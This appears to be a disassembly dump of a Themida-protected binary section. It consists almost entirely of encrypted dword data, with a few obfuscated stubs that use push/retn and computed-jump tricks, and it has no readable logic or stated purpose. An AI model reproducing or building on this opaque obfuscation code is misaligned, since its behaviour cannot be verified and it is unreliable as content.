dd 0E986B5E7h, 514A0F24h, 0C4E2DBCCh, 73F82h, 852A05B6h
dd 8A30791Ch, 6DEDA6Ch, 8BA4B600h, 13B9A72Dh, 6B1E9h, 70B893B6h
dd 58C58CAFh, 40EDA4C7h, 0A9F6B3DFh, 921F5AF8h, 0FE3D7011h
dd 0AA15A40Dh, 0FA99A001h, 87AC17B3h, 0EC4C5DC2h, 2852F866h
dd 0B60006F0h, 7B3F79D2h, 1477E68Fh, 476Eh, 0B6E7B100h
dd 4DADDF0Bh, 372F57D7h, 5357971Ch, 452F57D7h, 0F52645EEh
dd 0D4769C4Ah, 2F57D6D4h, 0C91385AEh, 521F40A3h, 0D6E800C6h
dd 50FEAF57h, 57D6F236h, 3167D0AFh, 1D86240Fh, 0BCED327Bh
dd 7C0D967Ch, 28000000h, 0D80EB5E7h, 0B63251B2h, 57D71414h
dd 6C45EEAFh, 0A633ACCh, 0F305B600h, 2FB816BAh, 6F264697h
dd 0F2365076h, 0D0B60055h, 240F3167h, 4E0726FFh, 7D3457F8h
dd 0AAC92A30h, 72B3B5E3h, 0DEB60057h, 26454CD5h, 0CC60DB6Fh
dd 53295377h, 31BCAFB5h, 0B579B1CBh, 0E04BBCAFh, 5AF9AAF7h
dd 73B0F99Bh, 0E0A5C93Ah, 2C716A43h, 1F802Dh, 0B7F29FACh
dd 0FC9E28DEh, 0C6C35F13h, 0E7F2D96Dh, 0AED80EB5h, 0B60735CCh
dd 86699DB6h, 377220E5h, 50D8B1EAh, 0BFC977F3h, 0B607367Bh
dd 0E54AEE49h, 18BB0F46h, 0BDFFDD75h, 0E03507Fh, 12EC0B4Dh
dd 0D9B2B423h, 0FD079254h, 3DAEE1A6h, 4ACE6D74h, 0A6FCF830h
dd 8861CAE1h, 0BBF29132h, 4C81AD76h, 0C45E829h, 2C9D8E13h
dd 0CBDC4108h, 218A4DD2h, 5EDA7980h, 0A6FCEC2Ch, 847DD6E1h
dd 3FFE9D06h, 0D1CA5712h, 14CABBF8h, 0ED000000h, 0AEEA1CBAh
dd 94AF57D6h, 47FD7DBBh, 2C71385Ch, 0FF76BDFBh, 138C1158h
dd 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h
dd 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 815E5456h, 4C6h
dd 4EE8300h, 5C243487h, 171D68h, 240C8900h, 62C568h, 242C8900h
dd 7DEEBD55h, 814D0AECh, 0F52109F5h, 6EF58132h, 553EB602h
dd 8B545D59h, 0C483242Ch, 638F6804h, 14890000h, 8BA24h
dd 0EA010000h, 0FF5A0A89h, 835D2434h, 34FF04C4h, 0C4815924h
dd 4, 0F91A15E9h, 0B843A8FFh, 6AF6347h, 0E0FFC503h, 5BF33078h
dd 1CA07EDFh, 38333244h, 79B558DDh, 2A22E353h, 51F36331h
dd 23E7A56h, 5BF3B3C8h, 24B5A637h, 106E3947h, 43FDF856h
dd 15656D16h, 227A13A8h, 6322FACBh, 2F306BCh, 217112FFh
dd 52BE3AECh, 740CE19Ch, 6860F77Ah, 4B431077h, 7CFDD0EEh
dd 31E480C3h, 46B65C7h, 2D752E00h, 5C54FAC3h, 0F169331h
dd 7F7A0A26h, 7AADB05Bh, 5E491D77h, 3E4AD7E9h, 0BF0ADF9h
dd 3AAB55D1h, 0A2E9h, 0EDA4C300h, 1C59F659h, 4A03258Eh
dd 7A3F53FCh, 0AFE2832Ch, 35DD9C1Bh, 62CD5914h, 96398DC0h
dd 0C86BBFF6h, 0CE5EECA5h, 3AAEEA1Ch, 5694B607h, 0EDA4C728h
dd 53FF604Bh, 0D8B1FC9Eh, 57FBA45Bh, 31729412h, 37AF57D7h
dd 0D73B7F89h, 0CF09AF57h, 5C583A1Ah, 9602FB16h, 9A4E5450h
dd 8ACE16AFh, 6A8CAFDCh, 19B01E6Dh, 3, 0FFCBB03Ch, 138C1158h
dd 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h
dd 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 0AF643C68h, 18E8E906h
dd 0C122FFF9h, 0EB9FF0BEh, 16h, 4 dup(0)
dd 24010100h, 0AF000004h, 0F5958B06h, 6606A808h, 905EBABBh
dd 0D4AABA60h, 6651514Dh, 5F27AFBAh, 0FBB15061h, 0DBD8B90h
dd 6A06A80Fh, 6840F00h, 81000000h, 88445ECFh, 6A006A3Dh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 0EEABC356h, 19ED44EFh, 892F3DC6h, 0A80B11B5h
dd 99BD2B06h, 8D06A831h, 0AF661C85h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 903211B2h
dd 0CE9h, 0C6B49F00h, 0F50AA1E2h, 88CEDF62h, 6A9050E4h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h
dd 0C3564600h, 5FAB9520h, 0D2B7C6C3h, 635952Bh, 6A06A8h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0E5C35040h
dd 4195FFF8h, 8106A825h, 8426A3CAh, 19953141h, 0E906A80Fh
dd 5ABh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 17h, 6AC35141h, 2B294C00h
dword_5C0024 dd 0A8336195h, 0E806h, 815D0000h, 0AF6621EDh, 50006A06h
; DATA XREF: ___:004327ECo
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
dd 0A9BD89ACh, 8B06A82Ch, 0A829BD95h
dword_5C005C dd 0E1B58906h, 0E806A814h, 4, 0FA0h, 0F850Fh, 52500000h
; DATA XREF: ___:off_432940o
dd 800Fh, 310F0000h, 5AFB8B66h, 448B5058h, 0A7B10424h
dd 0BF66008Bh, 44891640h, 5E90424h, 0D000000h, 0F3771587h
dd 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h
dd 0C3564600h, 0B99D8B6Eh, 0FF06A814h, 0A81B3195h, 0BE666006h
dd 840FAA0Dh, 6, 62D9D8Bh, 8D6106A8h, 0AF64E0B5h, 29BD8906h
dd 0C706A80Fh, 67655206h, 51006A6Dh, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 47EC78FCh
dd 0B3A19DF5h, 158D8957h, 5B06A801h, 0B880Fh, 6E90000h
dd 0D3000000h, 4CE4FA6Ah, 446C7CDh, 6C636E6Fh, 846C7F8h
dd 737361h, 6A5BF280h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1804h, 0C3564600h, 0B8783869h, 69958B53h
dd 8D06A82Ch, 0AF64E085h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0AAC7BDE4h
dd 67F82BBEh, 0DE85660h, 0FB000000h, 831238B3h, 0B95B6032h
dd 571E30AAh, 0E8B55A5Ah, 6CB65061h, 0F240489h, 0C89h
dd 6860F00h, 8B000000h, 0A80B298Dh, 2595FF06h, 6A06A831h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h
dd 47000000h, 0D4D2C357h, 0EFBBCA5Eh, 663CBF0Dh, 6DBBE981h
dd 840FC00Bh, 55h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ah, 0B2C35040h, 0A76CC2FFh, 810F33EEh, 6
dd 0D15958Bh, 21E906A8h, 6A000003h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8B28C351h
dd 0A81B5195h, 0C06B6806h, 12E96EE4h, 4E000000h, 5A9A24Fh
dd 85C631E3h, 0F9C441BBh, 0BA397A66h, 24348179h, 6EE4C147h
dd 9B30EA81h, 356660Dh, 0A830959Dh, 95FF5906h, 6A81B31h
dd 27FD8589h, 0B58D06A8h, 6AF64E0h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Dh, 4FC35646h, 4B9B533Fh, 0A21FEC90h
dd 0DD9D89D9h, 0C706A824h, 34383106h, 4BEFBA36h, 46C76C72h
dd 342D3704h, 0CAEF8131h, 0C745BC65h, 846h, 9FB30000h
dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 119474C3h, 8BCDF0DCh, 0A8066D8Dh, 39958B06h
dd 8D06A833h, 0AF64E085h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 4841D7B0h
dd 0BF0F24E9h, 48950D9h, 0E59D8924h, 0FF06A805h, 0A8312595h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h
dd 0C3554500h, 0D11621D8h, 32374D21h, 0B3EB56Ch, 2E840FC0h
dd 81000000h, 0BA2D4D3h, 1CEE908h, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 150424h, 55450000h, 2972B9C3h
dd 0A80E8DBDh, 0BC486806h, 0FA8BDCC4h, 0E4240481h, 0E9233B44h
dd 14h, 5A966AF7h, 55DD3E45h, 1C9FAFDEh, 52B0AC8Ch, 0B4E01C53h
dd 1B3195FFh, 6A06A8h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 4C50E3C3h, 0FDF30719h, 29F18D8Bh
dd 8D0306A8h, 6A82B39h, 64E0B58Dh, 80F506AFh, 6C7EAE3h
dd 656C6946h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ch, 0EAC35545h, 0D5CA83AAh, 51331836h, 0A850Fh, 89600000h
dd 0A8261DBDh, 615A5306h, 6D0446C7h, 6A636E6Fh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 497BC356h, 0BF840847h, 9D09524Ch, 6A814A9h, 846C75Fh
dd 7373616Ch, 2975BD23h, 46C706A8h, 0Ch, 6840F00h, 31000000h
dd 0A820619Dh, 6A006A06h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 3082C350h, 0E0858DA6h
dd 6A06AF64h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 19042444h, 41000000h, 16D1C351h, 0CE5C9941h, 50D88B66h
dd 28C0Fh, 0F98B0000h, 8B240489h, 0A822598Dh, 2595FF06h
dd 6A06A831h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 0A0BEC352h, 9CB9959Eh, 6E8D171h
dd 20000000h, 917A8E49h, 71BD2BF4h, 5A06A80Fh, 840FC00Bh
dd 0Eh, 918D2BFCh, 0E906A822h, 10h, 0EEE9FB8Bh, 0FFFFFFAh
dd 389h, 0D08B6600h, 7120B58Dh, 6A06A8h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 689D92C3h
dd 0EC6290A1h, 8A1DE411h, 89BD8BF0h, 0B806A831h, 0
; ---------------------------------------------------------------------------
or ebx, [ebp+6A81B61h]
jmp esi
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5C058F
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C058F proc near ; CODE XREF: Themida_:005C0587p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_5C058F endp
; ---------------------------------------------------------------------------
push 38h
retn
; ---------------------------------------------------------------------------
test eax, 7E9h
add [ebx-3942A23Fh], dh
sbb ecx, ebp
mov eax, ecx
jmp loc_5C05C1
; ---------------------------------------------------------------------------
dw 4554h
dd 6CBCh, 0
db 0
; ---------------------------------------------------------------------------
loc_5C05C1: ; CODE XREF: Themida_:005C05B1j
jmp loc_5C133D
; ---------------------------------------------------------------------------
push 6AF6E2Ch
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AF6F0Fh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AF6FBCh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AF705Bh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AF736Eh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AF76ADh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AF77B2h
jmp loc_5517CE
; ---------------------------------------------------------------------------
dd 8A105900h, 0C5410429h, 33773E5Ah, 63A7E290h, 54D29FC0h
dd 0C768AACFh, 0F3933C8Ah, 0A5C768BEh, 56F55EECh, 0C9138B1Fh
dd 7427BBFh, 240349B6h, 8CF25EFFh, 5BBDCA23h, 5C47635Ch
dd 0FD2E7336h, 0D812C8BBh, 5412F264h, 0EAB5E3C4h, 95E7034Ah
dd 1C400E12h, 2A6B5A15h, 113CF00Ah, 54F75DDBh, 1DAF5BE0h
dd 0B6000386h, 0CC37D37Ch, 83C5E1A8h, 0B6000387h, 0E546D27Dh
dd 71A9D379h, 32B60003h, 0D9D25F16h, 9EBD2E09h, 0C7514AD7h
dd 30501h, 31BBA1B6h, 4BEA00D3h, 145EC802h, 159AD375h
dd 168D2B04h, 7FA5C38Dh, 0FFD8CDCDh, 729CB7B5h, 0B5FFD936h
dd 0C68BAB0Ch, 0F3EF4BEDh, 321477D0h, 0F28284B8h, 0B1686EEAh
dd 589DA1B2h, 27D5433Ch, 2Fh, 0EB5E7F8h, 0D7C7AED8h, 1ABDB5FFh
dd 0D65B3479h, 0FFD81014h, 0BCF593B5h, 0C78EAE77h, 0A102FB5Ah
dd 7C258E12h, 77D7827Eh, 116514h, 0BABE0000h, 0D6AEEA1Ch
dd 0BB94AF57h, 873927Dh, 0FFB50000h, 1788155Ch, 0DC99B574h
dd 0D96D4657h, 5175CE6Eh, 3B4DCD6Eh, 0AF57D6FFh, 2C716AC5h
dd 0A59ED373h, 0D6C3C701h, 9681AF57h, 3FAED802h, 5B5FFF6h
dd 7313FC2Ah, 70B8F13Eh, 0F64B4B93h, 8C67B5FFh, 0CD3B1723h
dd 4AC21477h, 65000000h, 0F93459BAh, 0F439125Bh, 2B275A3h
dd 81A20DB9h, 44866CCCh, 0B6000529h, 7312FD1Bh, 1AA4F53Ah
dd 0B600051Eh, 0E9A0C3E4h, 817A5344h, 1E041365h, 10828172h
dd 0E3232B98h, 0FFB6006Ah, 938F8B14h, 7A147742h, 0BEh
dd 155CFFCDh, 3B761788h, 0B8C268F6h, 0AF57D780h, 2CBD2E4Ah
dd 9B6B9ECCh, 622F4FB0h, 83CA6936h, 0AFE6851Eh, 5385E11Bh
dd 7F1EAF58h, 0C00AF036h, 2E43BC13h, 0C46BCD50h, 743D60A1h
dd 423B7E13h, 53163BA4h, 77A566C5h, 5DEC1ECCh, 27B600A4h
dd 0CEB190EDh, 1BAD84D1h, 0B600691Fh, 78514AE5h, 803B9922h
dd 0A90205Ah, 6D56BCABh, 0E81682CBh, 17389B4Fh, 0C263CC5Ah
dd 0FAFE598Fh, 2380EC80h, 0A53A2h, 0FDB4D300h, 2C6906A9h
dd 5A13359Eh, 8ACF63CCh, 0BFF2933Ch, 45CDEC6Bh, 72DD6924h
dd 0A6099DD0h, 0D87BCF86h, 3EAEFCB5h, 459E9A2Ch, 2664B607h
dd 135EFFF9h, 40092C97h, 0B5E7DDFAh, 4FAED80Eh, 35B60005h
dd 0BBFF692h, 4B9F1h, 0B7A08BB6h, 4A4E06Ah, 6BC0B600h
dd 0F8DCC8CAh, 0BA3B1477h, 0CD000000h, 0AB084DE2h, 387D1172h
dd 30BAABF0h, 0BC850DD5h, 52DD5B7Bh, 0F91D9B33h, 0CD818D5Dh
dd 5D955706h, 1F08F769h, 3D701192h, 0FB0E76F0h, 0F695AF57h
dd 0D05D1437h, 0A19923C7h, 63AF57FBh, 0E84BDFC8h, 0E6A70C45h
dd 0AFD90DB6h, 0B600031Ch, 0E8A5C5E6h, 169BD677h, 709E2C05h
dd 7DA2EF8Fh, 993B8C2Ch, 0DD428422h, 0A7BCAAA1h, 322B6E04h
dd 470A2B94h, 723F60C3h, 8162EB56h, 7DC6E5ECh, 970h, 0BA0049F0h
dd 0F5317419h, 23672E4Ah, 1397D280h, 44C28FB0h, 3758BAFFh
dd 0E3832C7Ah, 95B718AEh, 46E54EDCh, 3923BB0Fh, 7468B8Fh
dd 143379B6h, 97135EFFh, 0FA40092Ch, 6B30BADDh, 581BEB90h
dd 92B17EBAh, 0AECD56DBh, 2380C96Fh, 0B5F8990Ah, 0C0463F68h
dd 0EE4ECFA1h, 0E417B155h, 0DEB600AAh, 90F51375h, 0B5FC5DBh
dd 52F412A9h, 666DEAE7h, 312D72DDh, 71BC01A7h, 7DBBFD1Ch
dd 18390AAAh, 3C4E7C55h, 6D195969h, 0ACCAF05Bh, 19591E1Ah
dd 0A5C3E46Dh, 7D5647ECh, 0AFCE313Bh, 5CFFA0E6h, 0AB88F315h
dd 2D8E3C12h, 8C354h, 6D244300h, 9CD976D9h, 0CA83A50Eh
dd 0FABFD37Ch, 2F6203ACh, 0B55D1C9Bh, 0E24DD994h, 16B90D40h
dd 48EB3F76h, 4EDE6C25h, 462E6A9Ch, 0D614B607h, 155CFF69h
dd 16AD0F88h, 0C8694AF0h, 37206D0Dh, 0CECA7CEAh, 0B4AF57D6h
dd 0F076A29Bh, 0B600038Dh, 7F325477h, 0EA88F932h, 0AF10B6AFh
dd 0DD46C48Dh, 0BDA9F6BFh, 6C8DEE3Bh, 0B931A7A2h, 494DA70Dh
dd 8640E84Fh, 0B6009E82h, 0AE3C78h, 0ABDD7FB6h, 0AE1911h
dd 5740EBB6h, 0DFE209B3h, 77A0BCA8h, 93DA792Ah, 83250075h
dd 309112ECh, 824h, 7ECC85A4h, 0A9FDB8D5h, 9F2B6206h, 0CF5B1E34h
dd 388EC364h, 7314FEB3h, 2747E83Eh, 0D173DC6Ah, 82A10298h
dd 7DEF7FCBh, 746CFCBh, 0C877B5B6h, 0D80EB5E7h, 901851F7h
dd 8C9304Ah, 90BBB600h, 0B8FD9213h, 761B8462h, 49D69BBBh
dd 8C6F6750h, 0CB14CAF9h, 85AA75A3h, 7BDA63C0h, 56FC1AC0h
dd 21F434h, 7DB9C6B6h, 916402B9h, 0B4B2E651h, 0B60089ACh
dd 0A609BD96h, 0FA69CF86h, 0CED55E77h, 4D1A05A1h, 0A7B91858h
dd 868E78CEh, 5B60034h, 4DFF2B96h, 0B6003471h, 0A5EC8C77h
dd 47892F78h, 58F55EECh, 4656901Dh, 3B60035h, 6D0209AAh
dd 1C319228h, 0B4F9BCD1h, 39258A63h, 0B6F1C8BFh, 92060977h
dd 0FFE4A054h, 0AF705DB5h, 78CE8BA8h, 31D56CCFh, 24FC36A7h
dd 90185379h, 99F5304Ah, 64CFB600h, 0FE603F3Fh, 977C2A61h
dd 0F5100C0Eh, 76F769D5h, 48000001h, 0D80EB5E7h, 7E3751B2h
dd 0B6B0F831h, 0B6000273h, 7DBDCF75h, 47B60002h, 0A9824CECh
dd 0BAF3927Dh, 0E9A0C36Ch, 0FCB1D23Dh, 513266B7h, 46ADEF89h
dd 8C15863Dh, 1BAFE685h, 57DC95B8h, 4EDC67D6h, 0DE0C49E5h
dd 9B1855F5h, 0ECB51682h, 19BA0049h, 0D69BBB7Ah, 49AAB0FDh
dd 0EE3F6429h, 644ABC4Ah, 0F26BAFD1h, 87C16F31h, 0AFD16483h
dd 0DD42D641h, 10B3F7BEh, 5B5FE96Dh, 29AFD164h, 5288150Eh
dd 64969234h, 0C36CAFD1h, 0D863D255h, 64A09822h, 0C962AFD1h
dd 0DF69977Dh, 0AFD163DBh, 286506A9h, 1536F93Fh, 0E352DB58h
dd 9B04A258h, 0E167B1F8h, 0AFD163ADh, 0C56EBC97h, 0E142EFA6h
dd 0FFA00D40h, 158E135Eh, 39F53A73h, 7A1A2182h, 1EB75A33h
dd 0C581CB95h, 47BBB5F9h, 15C565BBh, 312A648Bh, 0BEE3AED0h
dd 0C164CB6Dh, 0E8185288h, 28189652h, 6D2846A7h, 0FB41D7C0h
dd 4E7C3558h, 2C8CC965h, 0E45FFEBFh, 0C58C84C6h, 7152AFD1h
dd 0F11F99DCh, 3C5FC046h, 0D5772875h, 0E18E179Ch, 86A67FA4h
dd 76DF62CFh, 73A82EADh, 0C188ABB2h, 0F2BBDA45h, 0F249ECADh
dd 0C600AED4h, 0AFD1C4C2h, 0A50A43E1h, 2DD97274h, 0D1C59F9Bh
dd 6ECA65AFh, 0D1C5AC98h, 69BD96AFh, 42EFA6C6h, 3BEF5AF9h
dd 0B6FBB6D8h, 9F293365h, 0AFD1C6ABh, 0D58A3BBDh, 0A81909C8h
dd 0D155FE00h, 155CFFEAh, 3D863691h, 0CD194F89h, 0BDA11E59h
dd 0A457F17Bh, 0BAB60053h, 53AEEA1Ch, 0BB94B600h, 3E632A4Ah
dd 0AA854BEDh, 0C584D67Ch, 0F0B9DC60h, 858C6EE6h, 1607ACE9h
dd 3B7F893Dh, 9B60061h, 7258A2Eh, 3557F84Eh, 0C676377Ch
dd 0D03F497Dh, 96BCA88Dh, 0D845002Dh, 7F682147h, 92B41739h
dd 357A3757h, 0F4120BE4h, 0EA976C62h, 4C868AF7h, 0D17EEA00h
dd 5BC8601Ah, 0A8E39393h, 1FA408BCh, 152A51EBh, 0D33CC351h
dd 93BDFBBEh, 0A2E402B8h, 0C3511566h, 0C6A5F35Ch, 51773E5Dh
dd 0E5DAEFCEh, 1162E3C0h, 91000005h, 0C86BBFF6h, 0F758EEABh
dd 21821851h, 51F2480Dh, 0A2297D30h, 2F62030Fh, 5B16389Bh
dd 89C064CFh, 0BAF3923Dh, 0D862F86Ch, 0B60749E0h, 0E7BF64A2h
dd 0B2D80EB5h, 0D6B6F214h, 0A38CAF57h, 57D71F1Bh, 0EE4AE5AFh
dd 16B0DE04h, 0AF57D712h, 47E647F0h, 2088A10Eh, 0A7B26h
dd 992349B6h, 0B6000AA1h, 2BDFC863h, 46EBA6C8h, 0A572B5B4h
dd 110A776Bh, 0E3222487h, 0FFB60075h, 938F8B14h, 7A14774Dh
dd 0ABh, 0D78EA6CDh, 449DAF57h, 3D89C063h
dd 7416298Ah, 0CAA3F439h, 3A9EB31Ch, 103CED3Eh, 69B6AF67h
dd 0E6A3CF30h, 221EA8B2h, 0E0AF5886h, 1A39EA37h, 0AEF3B6DBh
dd 7D66847Dh, 307D1DD0h, 5CC1BAF3h, 0A467ED4Bh, 0F412C873h
dd 0A2E6204Eh, 60AF5886h, 860B0FB7h, 5EF9AF58h, 86140CDAh
dd 45EEAF58h, 6D2447D8h, 739533D9h, 0AF588637h, 31F6220Dh
dd 47812580h, 0AF58865Fh, 0F3DC0A25h, 8CAE1F52h, 72F457C1h
dd 0AF58C632h, 531D862Fh, 38F53A19h, 7ABE771Fh, 15B10CADh
dd 55C38AAAh, 76597D8Fh, 2BAF58h, 0E739BAh, 0E71C0000h
dd 81B9C3B5h, 43AF57D7h, 81CBFFE8h, 0A51EC160h, 7EE43449h
dd 0D59DCCh, 67CC67B6h, 3B7618FBh, 0DADE68F6h, 0A8B600D4h
dd 9D02968Fh, 5A1738FDh, 2E622561h, 0C16E5175h, 404A1265h
dd 0FDD60747h, 1717B1BBh, 0EDB5FFE6h, 181DDD42h, 8BB5FFE6h
dd 0A57EA3E6h, 0A965CA83h, 0FE22B172h, 928E8C15h, 751477DDh
dd 7Dh, 0AA9E7CEh, 0D551F3DCh, 57D777B3h, 9E24DAFh, 70345AFh
dd 0FDAF57D7h, 3254CD52h, 8BCD2B7Fh, 99347146h, 0C58CB069h
dd 0C2564F58h, 3AA5CB45h, 0DBCC5114h, 5883F733h, 8962CDAFh
dd 9595375Dh, 6FAF5884h, 608E54C4h, 0DAF4D16h, 54C41335h
dd 57DAE292h, 2A77A0AFh, 581AE420h, 3345E1AFh, 81093149h
dd 2398106Ah, 762D6382h, 833E3650h, 0BF20AF58h, 514AD792h
dd 881E39C7h, 155CFFA3h, 92345288h, 0AF57D796h, 0CA55C36Ch
dd 0E3A4E2ABh, 0AADC0AB1h, 0B5FFF643h, 41891601h, 0B5FFF645h
dd 2F74315Eh, 2A9BD276h, 1BDE430Ah, 1DAFF1B2h, 0B5FFF61Dh
dd 0CD534CE7h, 0C78AAC17h, 3939FA51h, 1477CD4Dh, 20A8h
dd 0B5E77300h, 4FAED80Eh, 35B60005h, 5155951Ah, 6DB60005h
dd 211D1D86h, 0C41477F8h, 112h, 3F59BA5Fh, 0DE7D2276h
dd 0F3DC0A97h, 98911E53h, 0E0480127h, 0B7531E3Fh, 0C860294Ch
dd 3248F5Bh, 60C8E14Eh, 48D59CBFh, 0D6FA5892h, 0AD590E78h
dd 0C881A40Bh, 0B2B9472h, 68C0D946h, 5899769Eh, 470E2DAFh
dd 743D60C3h, 6F95332Fh, 5898DDDDh, 428CA7AFh, 0AF589946h
dd 285133Ch, 2C80A192h, 0E496B6E8h, 159A732Bh, 4DFF2B04h
dd 0B600D21Eh, 4CFF4BE4h, 9B753E8h, 0D1BBFFh, 0AAE89B6h
dd 7471A6E0h, 0F853BCABh, 9E52A4C2h, 9694DCCBh, 92AF523h
dd 0CE78A644h, 0BCAB56CAh, 0B3199FB8h, 9D9D2F55h, 67BCAB57h
dd 71385BCCh, 0F2BDFB2Ch, 5DEC1C51h, 0A7EC80ADh, 1D2BB04h
dd 37520000h, 0EA87287Eh, 90B81BAFh, 4CE24DD9h, 7112BD09h
dd 5061EE3Ch, 5EECA1C2h, 821855F5h, 0FC4A0321h, 2D793053h
dd 2119A3B9h, 0E3B6074Dh, 5EFF7EA5h, 0C3699713h, 0D7C4A789h
dd 2FD7B448h, 0AF5838EBh, 753A7ED9h, 0CD6B9FD6h, 58397FBBh
dd 4EEA45AFh, 0B5E7DFC4h, 4FAED80Eh, 11B60005h, 55951EBh
dd 2BB600h, 568A0DAh, 0F15AB600h, 71BE99A7h, 0FD3D4FF5h
dd 0C7B60004h, 140D44E4h, 5424284h, 0F55EB600h, 0F8322E2Ch
dd 0BCD51477h, 6E000000h, 88155CFFh, 90B37617h, 0BB43E0D9h
dd 0AF57DC5Bh, 93D5CB0Dh, 25CE9685h, 0A1092CF3h, 0E62EDA30h
dd 701475B3h, 59FA4039h, 6D2E733Ah, 345674CFh, 0B60049C5h
dd 0B51694BFh, 0E00EBC07h, 891653FFh, 7ACE1890h, 6CBCAAE8h
dd 0E841B4C6h, 3101A231h, 0AAEC9189h, 235073BCh, 0F7E03966h
dd 16B49FA1h, 45C18CADh, 0D4F4B9DAh, 0EC81193Fh, 0CDF15251h
dd 4D000000h, 7C27632Ah, 0AB1492D7h, 0DD46C48Dh, 0DB6F4B1h
dd 1EE5216Ch, 0DB96B75Bh, 0F42E44Fh, 3D7418BBh, 6E2746E9h
dd 6C9E4CD8h, 0B6074E2Ch, 0FF6BD016h, 8D42F25Eh, 1D317E30h
dd 1E3DE624h, 0BC28609Ah, 311AAF58h, 0FFE5C258h, 1788155Ch
dd 26893D74h, 1AE04805h, 12C873A1h, 4A8062F4h, 20BC91FEh
dd 9CDF7E88h, 8AA5B607h, 90D97C25h, 0C38AA90Ah, 0D9C99C5Eh
dd 73E8201Ah, 640EEB2h, 201ADA02h, 5EC157C0h, 8F30763Fh
dd 0A778A5ECh, 0B718CE8Bh, 0B0E8129Ah, 92201AD9h, 0AB63C0B9h
dd 59BB4CBBh, 0A90FF822h, 159E373Ah, 80266F0Eh, 0CAE8205Ah
dd 71DA201Bh, 53F25D27h, 6003EC1Ah, 0C61C8F29h, 0A2F6BFDDh
dd 3DDh, 0CBB0F800h, 8C1158FFh, 0F4397013h, 0E340092Bh
dd 0C06D2042h, 2E733E5Fh, 1499D475h, 7DA2E78Bh, 60CD84A4h
dd 4AD792BFh, 0E28952FAh, 4C281h, 0EA830000h, 24148704h
dd 5024248Bh, 405E089h, 83000000h, 48704E8h, 2C895C24h
dd 8C26824h, 34890000h, 7ABF5724h, 684DE916h, 0B8C65585h
dd 5FFD015Dh, 24348B54h, 4C481h, 53550000h, 0D91BD4BBh
dd 245C290Fh, 468F5B04h, 8468108h, 0FD91BD4h, 5E2434FFh
dd 4C481h, 2C8B0000h, 0E7895724h, 4C781h, 0C7810000h, 4
dd 5C243C87h, 0F9049DE9h, 310587FFh, 0FC81C8F0h, 8FA8654h
; ---------------------------------------------------------------------------
inc ecx
loc_5C133D: ; CODE XREF: Themida_:loc_5C05C1j
mov eax, 6AF78A4h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 21ACh
dd 9D20203Bh, 0B32A3228h, 45326C54h, 2EA16FD4h, 463A22D8h
dd 4A34955h, 0A5E7623Ch, 0BA343FB1h, 0A5F39E9h, 24D25457h
dd 8E8474Ch, 83000000h, 0A7559CBDh, 66B97EE1h, 815ED18Bh
dd 64F1C6h, 2850F00h, 8B000000h, 1914B9FAh, 820F0000h
dd 0Ah, 815E5160h, 1F00E5DAh, 36FF6172h, 28D0F5Bh, 8A000000h
dd 0D4EB81C1h, 660E51EFh, 817567BAh, 0BA87B2EBh, 0E9F38152h
dd 0E97926E6h, 5, 270F81CDh, 8E0F53AAh, 3, 8FC28B66h, 13E906h
dd 3ACB0000h, 0E07CE6D5h, 6FE714D4h, 0E63DC716h, 0D64AB054h
dd 2EE83E2h, 3840F60h, 0F000000h, 0BE66C0B7h, 4E614AA9h
dd 0BA66504Eh, 815F6EA4h, 1E9h, 8B850F00h, 0FCFFFFFFh
dd 34E9h, 0FDB27E00h, 23h, 0Bh dup(0)
dd 560E900h, 97B20000h, 4AE748DEh, 7018BB0Fh, 2C42ED39h
dd 0D172DD69h, 0F0810E9Ch, 0FE4C0122h, 22783555h, 1CAAE381h
dd 4DD990B3h, 0C1F903D9h, 83B60750h, 91B41F45h, 0BA4B50D8h
